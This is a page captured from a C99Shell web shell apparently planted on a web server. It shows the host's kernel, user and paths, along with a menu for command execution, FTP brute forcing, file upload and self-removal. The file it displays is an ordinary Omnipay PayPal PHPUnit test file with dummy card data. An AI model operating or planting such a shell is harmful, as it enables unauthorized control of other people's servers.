!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/omnipay/paypal/tests/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RestGatewayTest.php (11.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Omnipay\PayPal;

use 
Omnipay\Tests\GatewayTestCase;
use 
Omnipay\Common\CreditCard;

class 
RestGatewayTest extends GatewayTestCase
{
    
/** @var RestGateway */
    
public $gateway;

    
/** @var array */
    
public $options;

    
/** @var array */
    
public $subscription_options;

    public function 
setUp()
    {
        
parent::setUp();

        
$this->gateway = new RestGateway($this->getHttpClient(), $this->getHttpRequest());
        
$this->gateway->setToken('TEST-TOKEN-123');
        
$this->gateway->setTokenExpires(time() + 600);

        
$this->options = array(
            
'amount' => '10.00',
            
'card' => new CreditCard(array(
                
'firstName' => 'Example',
                
'lastName' => 'User',
                
'number' => '4111111111111111',
                
'expiryMonth' => '12',
                
'expiryYear' => date('Y'),
                
'cvv' => '123',
            )),
        );

        
$this->subscription_options = array(
            
'transactionReference'  => 'ABC-1234',
            
'description'           => 'Description goes here',
        );
    }

    public function 
testBearerToken()
    {
        
$this->gateway->setToken('');
        
$this->setMockHttpResponse('RestTokenSuccess.txt');

        
$this->assertFalse($this->gateway->hasToken());
        
$this->assertEquals('A015GQlKQ6uCRzLHSGRliANi59BHw6egNVKEWRnxvTwvLr0'$this->gateway->getToken()); // triggers request
        
$this->assertEquals(time() + 28800$this->gateway->getTokenExpires());
        
$this->assertTrue($this->gateway->hasToken());
    }

    public function 
testBearerTokenReused()
    {
        
$this->setMockHttpResponse('RestTokenSuccess.txt');
        
$this->gateway->setToken('MYTOKEN');
        
$this->gateway->setTokenExpires(time() + 60);

        
$this->assertTrue($this->gateway->hasToken());
        
$this->assertEquals('MYTOKEN'$this->gateway->getToken());
    }

    public function 
testBearerTokenExpires()
    {
        
$this->setMockHttpResponse('RestTokenSuccess.txt');
        
$this->gateway->setToken('MYTOKEN');
        
$this->gateway->setTokenExpires(time() - 60);

        
$this->assertFalse($this->gateway->hasToken());
        
$this->assertEquals('A015GQlKQ6uCRzLHSGRliANi59BHw6egNVKEWRnxvTwvLr0'$this->gateway->getToken());
    }

    public function 
testAuthorize()
    {
        
$this->setMockHttpResponse('RestPurchaseSuccess.txt');

        
$response $this->gateway->authorize($this->options)->send();

        
$this->assertTrue($response->isSuccessful());
        
$this->assertEquals('44E89981F8714392Y'$response->getTransactionReference());
        
$this->assertNull($response->getMessage());
    }

    public function 
testPurchase()
    {
        
$this->setMockHttpResponse('RestPurchaseSuccess.txt');

        
$response $this->gateway->purchase($this->options)->send();

        
$this->assertTrue($response->isSuccessful());
        
$this->assertEquals('44E89981F8714392Y'$response->getTransactionReference());
        
$this->assertNull($response->getMessage());
    }

    public function 
testCapture()
    {
        
$request $this->gateway->capture(array(
            
'transactionReference' => 'abc123',
            
'amount' => 10.00,
            
'currency' => 'AUD',
        ));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestCaptureRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/authorization/abc123/capture'$endPoint);
        
$data $request->getData();
        
$this->assertNotEmpty($data);
    }

    public function 
testRefund()
    {
        
$request $this->gateway->refund(array(
            
'transactionReference' => 'abc123',
            
'amount' => 10.00,
            
'currency' => 'AUD',
        ));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestRefundRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/sale/abc123/refund'$endPoint);
        
$data $request->getData();
        
$this->assertNotEmpty($data);
    }

    public function 
testFullRefund()
    {
        
$request $this->gateway->refund(array(
            
'transactionReference' => 'abc123',
        ));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestRefundRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/sale/abc123/refund'$endPoint);
        
$data $request->getData();

        
// we're expecting an empty object here
        
$json json_encode($data);
        
$this->assertEquals('{}'$json);
    }

    public function 
testFetchTransaction()
    {
        
$request $this->gateway->fetchTransaction(array('transactionReference' => 'abc123'));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestFetchTransactionRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$data $request->getData();
        
$this->assertEmpty($data);
    }

    public function 
testListPlan()
    {
        
$request $this->gateway->listPlan(array(
            
'page'         => 0,
            
'status'       => 'ACTIVE',
            
'pageSize'    => 10//number of plans in a single page
            
'totalRequired'     => 'yes'
        
));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestListPlanRequest'$request);
        
$this->assertSame(0$request->getPage());
        
$this->assertSame('ACTIVE'$request->getStatus());
        
$this->assertSame(10$request->getPageSize());
        
$this->assertSame('yes'$request->getTotalRequired());

        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/billing-plans'$endPoint);
        
$data $request->getData();
        
$this->assertNotEmpty($data);
    }

    public function 
testFetchPurchase()
    {
        
$request $this->gateway->fetchPurchase(array('transactionReference' => 'abc123'));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestFetchPurchaseRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$data $request->getData();
        
$this->assertEmpty($data);
    }

    public function 
testListPurchase()
    {
        
$request $this->gateway->listPurchase(array(
            
'count'         => 15,
            
'startId'       => 'PAY123',
            
'startIndex'    => 1,
            
'startTime'     => '2015-09-07T00:00:00Z',
            
'endTime'       => '2015-09-08T00:00:00Z',
        ));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestListPurchaseRequest'$request);
        
$this->assertSame(15$request->getCount());
        
$this->assertSame('PAY123'$request->getStartId());
        
$this->assertSame(1$request->getStartIndex());
        
$this->assertSame('2015-09-07T00:00:00Z'$request->getStartTime());
        
$this->assertSame('2015-09-08T00:00:00Z'$request->getEndTime());
        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/payment'$endPoint);
        
$data $request->getData();
        
$this->assertNotEmpty($data);
    }

    public function 
testCreateCard()
    {
        
$this->setMockHttpResponse('RestCreateCardSuccess.txt');

        
$response $this->gateway->createCard($this->options)->send();

        
$this->assertTrue($response->isSuccessful());
        
$this->assertEquals('CARD-70E78145XN686604FKO3L6OQ'$response->getCardReference());
        
$this->assertNull($response->getMessage());
    }

    public function 
testPayWithSavedCard()
    {
        
$this->setMockHttpResponse('RestCreateCardSuccess.txt');
        
$response $this->gateway->createCard($this->options)->send();
        
$cardRef $response->getCardReference();

        
$this->setMockHttpResponse('RestPurchaseSuccess.txt');
        
$response $this->gateway->purchase(array('amount'=>'10.00''cardReference'=>$cardRef))->send();
        
$this->assertTrue($response->isSuccessful());
        
$this->assertEquals('44E89981F8714392Y'$response->getTransactionReference());
        
$this->assertNull($response->getMessage());
    }

    
// Incomplete generic tests for subscription payments

    
public function testCompleteSubscription()
    {
        
$this->setMockHttpResponse('RestExecuteSubscriptionSuccess.txt');
        
$response $this->gateway->completeSubscription($this->subscription_options)->send();
        
$this->assertTrue($response->isSuccessful());
        
$this->assertNull($response->getMessage());

        
$this->assertEquals('I-0LN988D3JACS'$response->getTransactionReference());
    }

    public function 
testCancelSubscription()
    {
        
$this->setMockHttpResponse('RestGenericSubscriptionSuccess.txt');
        
$response $this->gateway->cancelSubscription($this->subscription_options)->send();
        
$this->assertTrue($response->isSuccessful());
        
$this->assertNull($response->getMessage());
    }

    public function 
testSuspendSubscription()
    {
        
$this->setMockHttpResponse('RestGenericSubscriptionSuccess.txt');
        
$response $this->gateway->suspendSubscription($this->subscription_options)->send();
        
$this->assertTrue($response->isSuccessful());
        
$this->assertNull($response->getMessage());
    }

    public function 
testReactivateSubscription()
    {
        
$this->setMockHttpResponse('RestGenericSubscriptionSuccess.txt');
        
$response $this->gateway->reactivateSubscription($this->subscription_options)->send();
        
$this->assertTrue($response->isSuccessful());
        
$this->assertNull($response->getMessage());
    }

    public function 
testRefundCapture()
    {
        
$request $this->gateway->refundCapture(array(
            
'transactionReference' => 'abc123'
        
));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestRefundCaptureRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/capture/abc123/refund'$endPoint);
        
        
$request->setAmount('15.99');
        
$request->setCurrency('BRL');
        
$request->setDescription('Test Description');
        
$data $request->getData();
        
// we're expecting an empty object here
        
$json json_encode($data);
        
$this->assertEquals('{"amount":{"currency":"BRL","total":"15.99"},"description":"Test Description"}'$json);
    }

    public function 
testVoid()
    {
        
$request $this->gateway->void(array(
            
'transactionReference' => 'abc123'
        
));

        
$this->assertInstanceOf('\Omnipay\PayPal\Message\RestVoidRequest'$request);
        
$this->assertSame('abc123'$request->getTransactionReference());
        
$endPoint $request->getEndpoint();
        
$this->assertSame('https://api.paypal.com/v1/payments/authorization/abc123/void'$endPoint);
        
$data $request->getData();
        
$this->assertEmpty($data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--